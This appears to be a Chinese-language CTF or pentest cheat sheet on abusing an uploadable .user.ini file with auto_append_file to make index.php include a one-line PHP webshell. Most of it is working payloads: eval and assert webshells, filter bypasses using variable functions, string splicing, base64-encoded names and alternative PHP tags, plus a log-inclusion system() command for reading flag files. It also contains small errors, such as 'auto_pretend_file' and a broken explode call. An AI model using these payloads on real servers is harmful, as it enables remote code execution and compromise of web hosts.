user.ini配置文件可控导致的文件上传漏洞
- 当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件
- 文件包含配置项有auto_append_file和auto_pretend_file
auto_append_file=1.txt //保存为user.ini,记得抓包时文件名是.user.ini
1.先上传这个user.ini文件,发现上传成功。
2.然后本来不能上传规定外的文件,现在就可以上传了
3.这个1.txt里面就是一句话木马
<?php @eval($_POST[1]);?>
4.这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)
- 如果会过滤,那就想办法绕过,先一个一个试过滤的是什么东西,然后针对这个来绕过
绕过方法
assert函数
和eval函数是一样的功能,而且支持可变函数变成assert函数 可变函数就是
<?php
$a="assert";
$a($_POST[1]);
//assert($_POST[1]);
?>
拆分拼接:
<?php
$arr=explode("," "a,s,d,f,s,d,e,k,r,t");//把字符串打散为数组,以,为分割
$paylode=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成字符串
$paylode($_POST[1]);
//assert($_POST[1]);
?>
编码
<?php
$a=base64_decode("YXNzZXJ0");
$a($_POST[1]);
?>
php标签
<script language="php"> eval($_POST[1]) </script>
<? /*程序操作*/ ?>
<?
echo '1111';
?>//前提是开启配置参数short_open_tags=on
<?=/*函数*/?>
<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<% /*程序操作*/ %>
<%
echo '1111';
%>
日志包含
<?php system('nl ../f*')?> //日志包含绕过
其他
<?= eval(array_pop($_REQUEST))?> //绕过{} [] ; php ()
<?php
$_REQUEST[X]($_REQUEST[Y]);
//传入X=assert$Y=1
?>
<?= assert(array_pop($_REQUEST))?> //绕过{} [] ; php ()
//直接提交请求就可,任何参数都能提交
|